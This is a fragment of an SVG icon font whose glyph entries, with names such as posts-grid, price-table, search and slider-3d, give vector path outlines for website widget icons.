<glyph glyph-name="number-field" unicode="&#xe840;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-723 437c-8 2-18-1-23-9l-83-125c-7-9-4-22 5-29 10-6 23-3 29 6l45 68v-265c0-11 10-20 21-20s21 9 21 20v334c0 9-6 17-15 20z m203 1c-58 0-105-47-105-105 0-11 10-20 21-20s21 9 21 20c0 35 28 63 63 63s62-28 62-63v-12c0-14-5-28-14-39l-148-186c-5-6-6-14-3-22 4-7 11-11 19-11h167c11 0 21 9 21 20s-10 21-21 21h-123l121 152c15 18 23 41 23 65v12c0 58-47 105-104 105z m395-105c0 58-46 105-104 105s-104-47-104-105c0-11 9-20 21-20s21 9 21 20c0 35 28 63 62 63s63-28 63-63-28-62-63-62c-11 0-21-9-21-21s10-21 21-21c35 0 63-28 63-62s-28-63-63-63-62 28-62 63c0 11-10 21-21 21s-21-10-21-21c0-58 47-104 104-104s104 46 104 104c0 34-16 64-41 83 25 19 41 49 41 83z" horiz-adv-x="1000" />

<glyph glyph-name="parallax" unicode="&#xe841;" d="M1000 350c0 7-4 14-10 18l-120 68 119 62c7 4 11 11 11 19s-4 15-11 18l-479 250c-6 3-13 3-20 0l-479-250c-7-3-11-10-11-18 0-8 4-15 11-19l119-62-119-68c-7-4-11-11-11-18 0-8 5-15 11-18l119-62-119-68c-7-4-11-11-11-19 0-8 5-15 11-18l479-250c3-2 7-3 10-3s7 1 10 3l479 250c7 3 11 10 11 18s-4 15-10 18l-120 69 119 62c7 3 11 10 11 18z m-500 393l434-226-434-227-434 227 434 226z m436-559l-436-227-436 227 110 63 316-165c3-2 7-3 10-3s7 1 10 3l316 165 110-63z m-436-60l-436 227 110 62 316-165c3-1 7-2 10-2s7 1 10 2l316 165 110-62-436-227z" horiz-adv-x="1000" />

<glyph glyph-name="php7" unicode="&#xe842;" d="M170 454h-87c-9 0-18-6-20-16l-41-166c0 0-1 0-1-1l-20-83c-3-11 4-22 15-25 2 0 3 0 5 0 9 0 18 6 20 15l17 68h85c48 0 90 32 101 79l7 26c6 25 1 51-15 71-16 21-40 32-66 32z m40-93l-6-26c-7-28-32-47-61-47h-75l32 125h70c13 0 25-6 33-16 8-11 11-24 7-36z m460 93h-87c-9 0-18-6-20-16l-41-166c0 0-1 0-1-1l-20-83c-3-11 4-22 15-25 2 0 3 0 5 0 9 0 18 6 20 15l17 68h85c48 0 90 32 101 79l7 26c6 25 1 51-15 71-16 21-40 32-66 32z m40-93l-6-26c-7-28-32-47-61-47h-75l32 125h70c13 0 25-6 33-16 8-11 11-24 7-36z m-224 61c-16 21-40 32-66 32h-60l14 58c3 11-4 22-15 25-11 3-22-4-25-15l-62-250c-3-11 3-23 15-25 1-1 3-1 5-1 9 0 18 6 20 16l38 151h70c13 0 25-6 33-16 8-11 11-24 7-36l-22-89c-3-11 4-23 15-25 2-1 4-1 5-1 10 0 18 6 21 16l22 89c6 25 1 51-15 71z m512 105c-4 6-11 11-19 11h-166c-12 0-21-10-21-21s9-21 21-21h127l-145-218c-6-9-4-22 6-29 4-2 8-3 12-3 6 0 13 3 17 9l167 250c4 7 4 15 1 22z" horiz-adv-x="1000" />

<glyph glyph-name="post-list" unicode="&#xe843;" d="M271 829h-250c-12 0-21-9-21-21v-250c0-11 9-20 21-20h250c11 0 21 9 21 20v250c0 12-10 21-21 21z m-21-250h-208v209h208v-209z m146 84h583c12 0 21 9 21 20s-9 21-21 21h-583c-12 0-21-9-21-21s9-20 21-20z m0 83h250c11 0 21 9 21 21s-10 21-21 21h-250c-12 0-21-10-21-21s9-21 21-21z m583-125h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z m-708-125h-250c-12 0-21-9-21-21v-250c0-11 9-21 21-21h250c11 0 21 10 21 21v250c0 12-10 21-21 21z m-21-250h-208v208h208v-208z m729 125h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z m-583 42h250c11 0 21 9 21 20s-10 21-21 21h-250c-12 0-21-9-21-21s9-20 21-20z m583-125h-583c-12 0-21-10-21-21s9-21 21-21h583c12 0 21 9 21 21s-9 21-21 21z m-708-125h-250c-12 0-21-10-21-21v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 21-21 21z m-21-251h-208v209h208v-209z m729 126h-583c-12 0-21-10-21-21s9-21 21-21h583c12 0 21 9 21 21s-9 21-21 21z m-583 41h250c11 0 21 10 21 21s-10 21-21 21h-250c-12 0-21-9-21-21s9-21 21-21z m583-125h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="post-slider" unicode="&#xe844;" d="M813 621h-625c-12 0-21-9-21-21v-500c0-11 9-21 21-21h625c11 0 20 10 20 21v500c0 12-9 21-20 21z m-21-500h-584v458h584v-458z m-521 42h167c11 0 20 9 20 20s-9 21-20 21h-167c-12 0-21-9-21-21 0-11 9-20 21-20z m0 83h458c12 0 21 9 21 21s-9 21-21 21h-458c-12 0-21-10-21-21s9-21 21-21z m0 83h458c12 0 21 10 21 21s-9 21-21 21h-458c-12 0-21-9-21-21s9-21 21-21z m-152 119c-8 8-21 8-29 0l-84-83c-8-8-8-22 0-30l84-83c4-4 9-6 14-6s11 2 15 6c8 8 8 21 0 29l-69 69 69 69c8 8 8 21 0 29z m875-83l-83 83c-8 8-22 8-30 0s-8-21 0-29l69-69-69-69c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 22 0 30z" horiz-adv-x="1000" />

<glyph glyph-name="post" unicode="&#xe845;" d="M998 467c1 3 2 5 2 8 0 76-43 156-131 244s-168 131-244 131c-3 0-5-1-8-2-2 0-4-2-6-3 0-1 0-1-1-1l0 0c0 0 0 0 0 0-53-53-83-130-66-212l-150-150c-57 34-185 44-263-34-69-69 30-202 131-306l-256-257c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l256 256c80-78 177-154 249-154 22 0 41 7 57 23 78 78 68 205 34 263l150 150c15-3 31-5 46-5 64 0 123 28 166 71 1 1 2 3 2 4 1 1 2 2 2 3z m-42 32c-50 12-131 56-191 116-60 60-104 141-116 191 58-9 121-47 191-117 69-69 108-132 116-190z m-387-488c-36-36-137 20-263 145-125 126-181 227-145 263 65 65 168 51 208 29-10-32 5-85 75-154 57-57 102-78 135-78 7 0 13 1 19 3 22-40 36-143-29-208z m21 250c0 0 0 0-1 0 0 0 0 0 0 0-8-9-49-5-116 62-67 67-71 108-62 116l147 148c15-35 38-71 73-106 35-35 71-58 106-73l-147-147z m71 250c-102 101-93 202-48 270 18-61 66-139 122-196 57-56 135-104 197-122-69-45-170-54-271 48z" horiz-adv-x="1000" />

<glyph glyph-name="posts-carousel" unicode="&#xe846;" d="M119 427c-8 8-21 8-29 0l-84-83c-8-8-8-21 0-30l84-83c4-4 9-6 14-6s11 2 15 6c8 8 8 22 0 30l-69 68 69 69c8 8 8 21 0 29z m875-83l-83 83c-8 8-22 8-30 0s-8-21 0-29l69-69-69-68c-8-9-8-22 0-30 4-4 10-6 15-6s11 2 15 6l83 83c8 9 8 22 0 30z m-681 173h-125c-12 0-21-10-21-21v-125c0-12 9-21 21-21h125c11 0 20 9 20 21v125c0 11-9 21-20 21z m-21-125h-84v83h84v-83z m271 125h-125c-12 0-21-10-21-21v-125c0-12 9-21 21-21h125c11 0 20 9 20 21v125c0 11-9 21-20 21z m-21-125h-84v83h84v-83z m271 125h-125c-12 0-21-10-21-21v-125c0-12 9-21 21-21h125c11 0 20 9 20 21v125c0 11-9 21-20 21z m-21-125h-84v83h84v-83z m-479-84h-125c-12 0-21-9-21-20s9-21 21-21h125c11 0 20 9 20 21s-9 20-20 20z m250 0h-125c-12 0-21-9-21-20s9-21 21-21h125c11 0 20 9 20 21s-9 20-20 20z m250 0h-125c-12 0-21-9-21-20s9-21 21-21h125c11 0 20 9 20 21s-9 20-20 20z m-542-83h-83c-12 0-21-9-21-21s9-21 21-21h83c11 0 21 10 21 21s-10 21-21 21z m250 0h-83c-12 0-21-9-21-21s9-21 21-21h83c11 0 21 10 21 21s-10 21-21 21z m250 0h-83c-12 0-21-9-21-21s9-21 21-21h83c11 0 21 10 21 21s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="posts-grid" unicode="&#xe847;" d="M292 767h-250c-12 0-21-10-21-21v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 21-21 21z m-21-250h-208v208h208v-208z m-21-125c12 0 21 9 21 21s-9 20-21 20h-167c-11 0-20-9-20-20s9-21 20-21h167z m375 375h-250c-11 0-21-10-21-21v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 11-9 21-21 21z m-21-250h-208v208h208v-208z m-21-125c12 0 21 9 21 21s-9 20-21 20h-166c-12 0-21-9-21-20s9-21 21-21h166z m375 375h-250c-11 0-20-10-20-21v-250c0-12 9-21 20-21h250c12 0 21 9 21 21v250c0 11-9 21-21 21z m-20-250h-209v208h209v-208z m-21-125c11 0 21 9 21 21s-10 20-21 20h-167c-11 0-21-9-21-20s10-21 21-21h167z m-625-84h-250c-12 0-21-9-21-20v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 20-21 20z m-21-250h-208v209h208v-209z m-21-83h-167c-11 0-20-9-20-21s9-21 20-21h167c12 0 21 10 21 21s-9 21-21 21z m375 333h-250c-11 0-21-9-21-20v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 11-9 20-21 20z m-21-250h-208v209h208v-209z m-21-83h-166c-12 0-21-9-21-21s9-21 21-21h166c12 0 21 10 21 21s-9 21-21 21z m375 333h-250c-11 0-20-9-20-20v-250c0-12 9-21 20-21h250c12 0 21 9 21 21v250c0 11-9 20-21 20z m-20-250h-209v209h209v-209z m-21-83h-167c-11 0-21-9-21-21s10-21 21-21h167c11 0 21 10 21 21s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="posts-group" unicode="&#xe848;" d="M979 767h-250c-11 0-21-10-21-21v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 11-9 21-21 21z m-21-250h-208v208h208v-208z m-20-125c11 0 20 9 20 21s-9 20-20 20h-167c-12 0-21-9-21-20s9-21 21-21h167z m41-84h-250c-11 0-21-9-21-20v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 11-9 20-21 20z m-21-250h-208v209h208v-209z m-20-83h-167c-12 0-21-9-21-21s9-21 21-21h167c11 0 20 10 20 21s-9 21-20 21z m-292 792h-625c-12 0-21-10-21-21v-792c0-11 9-21 21-21h625c11 0 21 10 21 21v792c0 11-10 21-21 21z m-21-792h-583v750h583v-750z m-479 83h250c11 0 21 10 21 21s-10 21-21 21h-250c-12 0-21-9-21-21s9-21 21-21z m0 125h375c11 0 21 10 21 21s-10 21-21 21h-375c-12 0-21-9-21-21s9-21 21-21z m0 125h375c11 0 21 10 21 21s-10 21-21 21h-375c-12 0-21-9-21-21s9-21 21-21z" horiz-adv-x="1000" />

<glyph glyph-name="posts-justified" unicode="&#xe849;" d="M21 600h208c12 0 21 9 21 21v208c0 12-9 21-21 21h-208c-12 0-21-9-21-21v-208c0-12 9-21 21-21z m21 208h166v-166h-166v166z m271-208h375c11 0 20 9 20 21v208c0 12-9 21-20 21h-375c-12 0-21-9-21-21v-208c0-12 9-21 21-21z m20 208h334v-166h-334v166z m646 42h-208c-12 0-21-9-21-21v-208c0-12 9-21 21-21h208c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-166v166h166v-166z m-895-84c-12 0-21-9-21-20s9-21 21-21h125c11 0 20 9 20 21s-9 20-20 20h-125z m520-20c0 11-9 20-20 20h-125c-12 0-21-9-21-20s9-21 21-21h125c11 0 20 9 20 21z m355-21c11 0 20 9 20 21s-9 20-20 20h-125c-12 0-21-9-21-20s9-21 21-21h125z m-459-292h209c11 0 20 9 20 21v208c0 12-9 21-20 21h-209c-11 0-21-9-21-21v-208c0-12 10-21 21-21z m21 208h167v-166h-167v166z m-479-208h375c11 0 21 9 21 21v208c0 12-10 21-21 21h-375c-12 0-21-9-21-21v-208c0-12 9-21 21-21z m21 208h333v-166h-333v166z m937 42h-208c-12 0-21-9-21-21v-208c0-12 9-21 21-21h208c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-166v166h166v-166z m-312-84h-125c-12 0-21-9-21-20s9-21 21-21h125c11 0 21 9 21 21s-10 20-21 20z m-500 0c-12 0-21-9-21-20s9-21 21-21h125c11 0 21 9 21 21s-10 20-21 20h-125z m792-41c11 0 20 9 20 21s-9 20-20 20h-125c-12 0-21-9-21-20s9-21 21-21h125z m-750-42h-167c-12 0-21-9-21-21v-208c0-12 9-21 21-21h167c11 0 20 9 20 21v208c0 12-9 21-20 21z m-21-208h-125v166h125v-166z m437 208h-333c-12 0-21-9-21-21v-208c0-12 9-21 21-21h333c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-291v166h291v-166z m396 208h-291c-12 0-21-9-21-21v-208c0-12 9-21 21-21h291c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-250v166h250v-166z" horiz-adv-x="1000" />

<glyph glyph-name="posts-masonry" unicode="&#xe84a;" d="M292 850h-250c-12 0-21-9-21-21v-250c0-11 9-21 21-21h250c11 0 21 10 21 21v250c0 12-10 21-21 21z m-21-250h-208v208h208v-208z m-21-125c12 0 21 9 21 21s-9 21-21 21h-167c-11 0-20-10-20-21s9-21 20-21h167z m375 375h-250c-11 0-21-9-21-21v-416c0-12 10-21 21-21h250c12 0 21 9 21 21v416c0 12-9 21-21 21z m-21-417h-208v375h208v-375z m-21-125c12 0 21 10 21 21s-9 21-21 21h-166c-12 0-21-9-21-21s9-21 21-21h166z m375 542h-250c-11 0-20-9-20-21v-333c0-12 9-21 20-21h250c12 0 21 9 21 21v333c0 12-9 21-21 21z m-20-333h-209v291h209v-291z m-21-125c11 0 21 9 21 21s-10 20-21 20h-167c-11 0-21-9-21-20s10-21 21-21h167z m-625 0h-250c-12 0-21-10-21-21v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 21-21 21z m-21-250h-208v208h208v-208z m-21-84h-167c-11 0-20-9-20-20s9-21 20-21h167c12 0 21 9 21 21s-9 20-21 20z m375 167h-250c-11 0-21-9-21-21v-250c0-11 10-21 21-21h250c12 0 21 10 21 21v250c0 12-9 21-21 21z m-21-250h-208v208h208v-208z m-21-83h-166c-12 0-21-10-21-21s9-21 21-21h166c12 0 21 9 21 21s-9 21-21 21z m375 416h-250c-11 0-20-9-20-20v-250c0-12 9-21 20-21h250c12 0 21 9 21 21v250c0 11-9 20-21 20z m-20-250h-209v209h209v-209z m-21-83h-167c-11 0-21-9-21-21s10-21 21-21h167c11 0 21 10 21 21s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="posts-ticker" unicode="&#xe84b;" d="M471 788c-41 0-75-18-97-51-2-3-4-7-6-10-1-1-2-2-2-3l-5-9c0-1 0-2-1-3l-126-264-171-109c-40-25-63-68-63-114v-7c0-42 19-80 51-106 24-20 54-29 84-29 21 0 41 5 60 14l83-15 40-81c14-28 39-48 69-57l107-31c2 0 4-1 6-1 4 0 8 1 11 3 5 4 8 8 9 14l4 20c11 55-19 108-71 126l-46 125 266-36c1 0 1 0 2 0l10-1c1 0 3 0 4 0 2 0 4 0 6 0 42 0 75 17 98 50 41 59 39 160-3 270-65 171-205 305-319 305z m-394-643c-22 17-35 44-35 73v7c0 32 16 61 43 79l145 92c5-67 25-136 98-174l-146-85c-33-19-75-16-105 8z m356-107c35-9 57-43 51-78l-86 24c-19 5-34 18-43 36l-45 89c-3 6-8 10-14 12l-44 8 112 66 54-144c2-6 8-11 15-13z m-53 207c-94 28-109 104-109 184l75 157c4-37 14-77 30-118 39-102 105-190 175-245l-171 22z m379-8c-15-22-36-33-64-33-5 0-10 1-16 2l-3 0c-91 15-207 136-261 277-32 83-38 161-17 211l0 1c3 7 6 13 10 19 15 21 36 32 63 32 94 0 222-128 280-278 37-96 40-184 8-231z m-187 338c-32 9-66 4-95-14-9-6-13-18-7-28 6-10 19-13 29-7 19 11 41 14 63 9 22-5 40-19 51-38 12-19 15-41 10-63-6-22-19-40-38-51-10-6-13-19-8-29 4-6 11-10 18-10 4 0 8 1 11 3 29 17 49 44 57 77 8 32 3 66-14 94-17 29-45 49-77 57z m221-3c3-8 11-14 20-14 2 0 4 1 7 2l167 62c10 4 16 16 12 27-4 11-16 16-27 12l-167-62c-11-4-16-16-12-27z m-22 91c5 0 11 2 15 6l83 83c8 8 8 21 0 29s-21 9-30 0l-83-83c-8-8-8-21 0-29 4-4 10-6 15-6z m208-167h-125c-11 0-21-9-21-21s10-21 21-21h125c12 0 21 10 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="price-list" unicode="&#xe84c;" d="M646-25h-521v583h229c12 0 21 10 21 21v229h417v-562c0-12 9-21 21-21s20 9 20 21v583c0 12-9 21-20 21h-459c-3 0-5-1-8-2-1 0-1-1-2-1-2-1-3-2-5-3l-250-250c0-1-1-2-2-3-1-2-1-2-2-4-1-2-2-5-2-8v-625c0-11 10-21 21-21h542c11 0 21 10 21 21s-10 21-21 21z m-491 625l178 179v-179h-178z m762-635c0 47-51 63-84 69v64c24-5 41-17 42-28 1-11 12-19 23-19 11 2 20 12 19 23-4 34-38 60-84 66v23c0 11-9 20-20 20s-21-9-21-20v-23c-48-6-84-35-84-71 0-48 51-63 84-70v-63c-24 4-41 16-42 27-1 12-12 20-23 19-11-1-20-11-18-23 3-33 37-60 83-66v-22c0-12 9-21 21-21s20 9 20 21v22c49 7 84 36 84 72z m-167 104c0 11 17 24 42 29v-56c-34 8-42 19-42 27z m83-134v57c34-8 42-19 42-27 0-12-17-25-42-30z m-562 540c-35 0-63-28-63-62s28-63 63-63 62 28 62 63-28 62-62 62z m0-83c-12 0-21 9-21 21s9 20 21 20 21-9 21-20-10-21-21-21z m0-84c-35 0-63-28-63-62s28-63 63-63 62 28 62 63-28 62-62 62z m0-83c-12 0-21 9-21 21s9 21 21 21 21-10 21-21-10-21-21-21z m0-83c-35 0-63-28-63-63s28-62 63-62 62 28 62 62-28 63-62 63z m0-84c-12 0-21 10-21 21s9 21 21 21 21-9 21-21-10-21-21-21z m167 375c-12 0-21-9-21-20s9-21 21-21h250c11 0 20 9 20 21s-9 20-20 20h-250z m250-166h-250c-12 0-21-10-21-21s9-21 21-21h250c11 0 20 9 20 21s-9 21-20 21z m-42-167h-208c-12 0-21-9-21-21s9-21 21-21h208c11 0 21 10 21 21s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="price-table" unicode="&#xe84d;" d="M958 663h-187v62c0 12-9 21-21 21h-500c-11 0-21-9-21-21v-62h-187c-12 0-21-10-21-21v-584c0-11 9-20 21-20h187v-63c0-12 10-21 21-21h500c12 0 21 9 21 21v63h187c12 0 21 9 21 20v584c0 11-9 21-21 21z m-20-42v-83h-167v83h167z m-667 83h458v-125h-458v125z m-42-83v-83h-166v83h166z m-166-542v417h166v-417h-166z m666-83h-458v542h458v-542z m42 83v417h167v-417h-167z m-250 204v85c23-5 40-20 42-37 1-11 11-19 22-19 12 1 20 12 19 23-3 39-38 69-83 76v22c0 12-9 21-21 21s-21-9-21-21v-22c-47-8-83-42-83-82 0-39 27-65 83-79v-85c-23 6-40 20-42 37 0 11-12 20-22 19-11-1-20-11-19-23 3-38 38-68 83-75v-23c0-11 10-21 21-21s21 10 21 21v23c47 7 83 41 83 81 0 39-27 66-83 79z m-83 46c0 18 17 33 41 39v-75c-28 8-41 20-41 36z m83-164v75c28-8 42-19 42-36 0-17-18-33-42-39z" horiz-adv-x="1000" />

<glyph glyph-name="radio" unicode="&#xe84e;" d="M146 829c-81 0-146-65-146-146s65-145 146-145 146 65 146 145-66 146-146 146z m0-250c-58 0-104 47-104 104s46 105 104 105 104-47 104-105-47-104-104-104z m0-83c-81 0-146-66-146-146s65-146 146-146 146 66 146 146-66 146-146 146z m0-250c-58 0-104 47-104 104s46 104 104 104 104-47 104-104-47-104-104-104z m0-83c-81 0-146-66-146-146s65-146 146-146 146 65 146 146-66 146-146 146z m0-251c-58 0-104 47-104 105s46 104 104 104 104-47 104-104-47-105-104-105z m250 751h583c12 0 21 9 21 20s-9 21-21 21h-583c-12 0-21-9-21-21s9-20 21-20z m583-292h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z m0-333h-583c-12 0-21-10-21-21s9-21 21-21h583c12 0 21 9 21 21s-9 21-21 21z m-833 375c-35 0-63-28-63-63s28-62 63-62 62 28 62 62-28 63-62 63z m0-84c-12 0-21 10-21 21s9 21 21 21 21-9 21-21-10-21-21-21z" horiz-adv-x="1000" />

<glyph glyph-name="rtl" unicode="&#xe84f;" d="M229 308c12 0 21 10 21 21v104h93l77-115c4-6 11-10 18-10 4 0 8 2 11 4 10 6 12 19 6 29l-66 99c40 14 69 52 69 98v41c0 58-46 104-104 104h-125c-11 0-21-9-21-20v-334c0-11 10-21 21-21z m21 334h104c35 0 63-28 63-63v-41c0-35-28-63-63-63h-104v167z m229 0h104v-313c0-11 10-21 21-21s21 10 21 21v313h104c12 0 21 9 21 21s-9 20-21 20h-250c-11 0-21-9-21-20s10-21 21-21z m334-334h166c12 0 21 10 21 21s-9 21-21 21h-146v313c0 11-9 20-20 20s-21-9-21-20v-334c0-11 9-21 21-21z m166-125h-908l90 90c8 8 8 21 0 29s-22 8-30 0l-125-125c0 0 0 0 0 0-2-2-3-4-4-6-3-6-3-11 0-16 0-2 1-3 2-4 1-1 1-2 2-3l125-125c4-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29l-90 90h908c12 0 21 9 21 21s-9 20-21 20z" horiz-adv-x="1000" />

<glyph glyph-name="scroll" unicode="&#xe850;" d="M583 850h-166c-150 0-271-121-271-271v-375c0-195 159-354 354-354s354 159 354 354v375c0 150-121 271-271 271z m-83-167c12 0 21-9 21-20v-125c0-12-9-21-21-21s-21 9-21 21v125c0 11 10 20 21 20z m313-479c0-172-141-312-313-312s-312 140-312 312v375c0 127 102 229 229 229h62v-87c-24-8-41-31-41-58v-125c0-35 28-63 62-63s63 28 63 63v125c0 27-18 50-42 58v87h62c127 0 230-102 230-229v-375z" horiz-adv-x="1000" />

<glyph glyph-name="search" unicode="&#xe851;" d="M994-115l-304 305c63 70 102 163 102 264 0 218-178 396-396 396s-396-178-396-396 178-396 396-396c102 0 194 39 264 102l304-304c5-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29z m-952 569c0 196 159 354 354 354s354-158 354-354-159-354-354-354-354 159-354 354z" horiz-adv-x="1000" />

<glyph glyph-name="select" unicode="&#xe852;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-119 306l-151-151-152 151c-9 9-22 9-30 0s-8-21 0-29l167-167c4-4 9-6 15-6s10 2 14 6l167 167c8 8 8 21 0 29-8 9-21 9-30 0z" horiz-adv-x="1000" />

<glyph glyph-name="share" unicode="&#xe853;" d="M833 183c-57 0-108-29-138-74l-372 186c6 17 10 36 10 55s-4 38-10 55l372 186c30-45 81-74 138-74 92 0 167 74 167 166s-75 167-167 167-166-75-166-167c0-19 4-37 10-55l-372-185c-30 44-81 74-138 74-92 0-167-75-167-167s75-167 167-167c57 0 108 30 138 75l372-186c-6-18-10-36-10-55 0-92 74-167 166-167s167 75 167 167-75 166-167 166z m0 625c69 0 125-56 125-125s-56-125-125-125c-48 0-90 29-111 69 0 1 0 1 0 1 0 0 0 0 0 0-8 17-14 35-14 55 0 69 56 125 125 125z m-666-583c-69 0-125 56-125 125s56 125 125 125c48 0 90-28 111-69 0 0 0 0 0 0 0 0 0 0 0 0 9-17 14-36 14-56 0-20-5-38-14-55 0 0 0 0 0-1 0 0 0 0 0 0-21-41-63-69-111-69z m666-333c-69 0-125 56-125 125 0 20 6 38 14 55 0 0 0 0 0 0 0 0 0 0 0 1 21 40 63 69 111 69 69 0 125-56 125-125s-56-125-125-125z" horiz-adv-x="1000" />

<glyph glyph-name="sidebar" unicode="&#xe854;" d="M979 850h-958c-12 0-21-9-21-21v-958c0-12 9-21 21-21h958c12 0 21 9 21 21v958c0 12-9 21-21 21z m-21-42v-166h-916v166h916z m-916-208h541v-708h-541v708z m583-708v708h333v-708h-333z m229 125h-125c-11 0-21-10-21-21s10-21 21-21h125c12 0 21 9 21 21s-9 21-21 21z m0 125h-125c-11 0-21-10-21-21s10-21 21-21h125c12 0 21 9 21 21s-9 21-21 21z m0 125h-125c-11 0-21-10-21-21s10-21 21-21h125c12 0 21 9 21 21s-9 21-21 21z m0 125h-125c-11 0-21-10-21-21s10-21 21-21h125c12 0 21 9 21 21s-9 21-21 21z m0 125h-125c-11 0-21-10-21-21s10-21 21-21h125c12 0 21 9 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="skill-bar" unicode="&#xe855;" d="M938 829h-875c-35 0-63-28-63-62v-84c0-34 28-62 63-62h749c0 0 0 0 1 0s0 0 0 0h125c34 0 62 28 62 62v84c0 34-28 62-62 62z m-146-166h-96l96 95v-95z m-155 0h-66l125 125h66l-125-125z m-191 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-8 125h74l-95-96v75c0 11 9 21 21 21z m895-105c0-11-9-20-20-20h-105v125h105c11 0 20-10 20-21v-84z m-20-104h-875c-35 0-63-28-63-62v-84c0-34 28-62 63-62h499c0 0 0 0 1 0s0 0 0 0h375c34 0 62 28 62 62v84c0 34-28 62-62 62z m-396-166h-96l96 95v-95z m-155 0h-66l125 125h66l-125-125z m-191 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-8 125h74l-95-96v75c0 11 9 21 21 21z m895-105c0-11-9-20-20-20h-355v125h355c11 0 20-10 20-21v-84z m-20-354h-875c-35 0-63-28-63-62v-84c0-34 28-62 63-62h249c0 0 0 0 1 0s0 0 0 0h625c34 0 62 28 62 62v84c0 34-28 62-62 62z m-646-167h-96l96 96v-96z m-155 0h-66l125 126h66l-125-126z m-74 126h74l-95-96v75c0 11 9 21 21 21z m895-105c0-11-9-21-20-21h-605v126h605c11 0 20-10 20-21v-84z m-20 396h-875c-35 0-63-28-63-62v-84c0-34 28-62 63-62h624c0 0 0 0 1 0s0 0 0 0h250c34 0 62 28 62 62v84c0 34-28 62-62 62z m-271-166h-96l96 95v-95z m-155 0h-66l125 125h66l-125-125z m-191 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-8 125h74l-95-96v75c0 11 9 21 21 21z m895-105c0-11-9-20-20-20h-230v125h230c11 0 20-10 20-21v-84z" horiz-adv-x="1000" />

<glyph glyph-name="slider-3d" unicode="&#xe856;" d="M792 621h-584c-11 0-20-9-20-21v-417c0-11 9-20 20-20h584c11 0 21 9 21 20v417c0 12-10 21-21 21z m-21-417h-542v375h542v-375z m-655 373l-84-42c-10-5-14-17-9-28 5-10 18-14 28-9l53 27v-266l-53 26c-10 5-23 1-28-9-5-10-1-23 9-28l84-42c3-1 6-2 9-2 4 0 8 1 11 3 6 4 10 11 10 18v333c0 8-4 14-10 18-6 4-14 4-20 1z m833-292l-53-26v266l53-27c10-5 23-1 28 9 5 11 1 23-9 28l-84 42c-6 3-14 3-20-1-6-4-10-10-10-18v-333c0-7 4-14 10-18 3-2 7-3 11-3 3 0 6 1 9 2l84 42c10 5 14 18 9 28-5 10-18 14-28 9z" horiz-adv-x="1000" />

<glyph glyph-name="slider-album" unicode="&#xe857;" d="M971 533c-5 4-11 5-18 4l-140-35v56c0 12-10 21-21 21h-584c-11 0-20-9-20-21v-56l-141 35c-6 1-13 0-18-4s-8-10-8-16v-334c0-6 3-12 8-16 4-3 8-4 13-4 1 0 3 0 5 0l141 35v-56c0-12 9-21 20-21h584c11 0 21 9 21 21v56l140-35c2 0 4 0 5 0 5 0 10 1 13 4 5 4 8 10 8 16v334c0 6-3 12-8 16z m-908-323v280l125-31v-218l-125-31z m708-47h-542v375h542v-375z m167 47l-125 31v218l125 31v-280z" horiz-adv-x="1000" />

<glyph glyph-name="slider-device" unicode="&#xe858;" d="M125 288c5 0 11 2 15 6 8 8 8 21 0 29l-69 69 69 68c8 8 8 22 0 30s-22 8-30 0l-83-84c-8-8-8-21 0-29l83-83c4-4 10-6 15-6z m848 118l-83 84c-8 8-22 8-30 0-8-8-8-22 0-30l69-68-69-69c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 21 0 29z m-98-160h-62v354c0 35-28 63-63 63h-500c-34 0-62-28-62-63v-354h-63c-11 0-21-9-21-21v-42c0-34 28-62 63-62h666c35 0 63 28 63 62v42c0 12-9 21-21 21z m-646 354c0 12 10 21 21 21h500c12 0 21-9 21-21v-354h-542v354z m625-417c0-11-9-20-21-20h-666c-12 0-21 9-21 20v21h62 584 62v-21z" horiz-adv-x="1000" />

